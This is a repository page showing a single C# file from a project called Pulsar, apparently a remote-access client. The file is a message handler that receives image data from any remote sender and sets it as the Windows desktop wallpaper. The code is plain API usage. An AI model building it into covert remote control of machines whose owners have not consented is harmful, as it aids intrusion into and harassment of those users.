Files
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

43 lines
1.4 KiB
C#

using Pulsar.Common.Messages;
using Pulsar.Common.Networking;
using Pulsar.Common.Messages.FunStuff;
using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Runtime.InteropServices;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Client.Messages
{
public class WallpaperHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoChangeWallpaper;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
if (message is DoChangeWallpaper changeWallpaperMessage)
{
SetWallpaper(changeWallpaperMessage.ImageData, changeWallpaperMessage.ImageFormat);
}
}
private void SetWallpaper(byte[] imageData, string imageFormat)
{
string tempPath = Path.Combine(Path.GetTempPath(), $"wallpaper.{imageFormat}");
File.WriteAllBytes(tempPath, imageData);
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, tempPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
}
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
private const int SPI_SETDESKWALLPAPER = 20;
private const int SPIF_UPDATEINIFILE = 0x01;
private const int SPIF_SENDCHANGE = 0x02;
}
}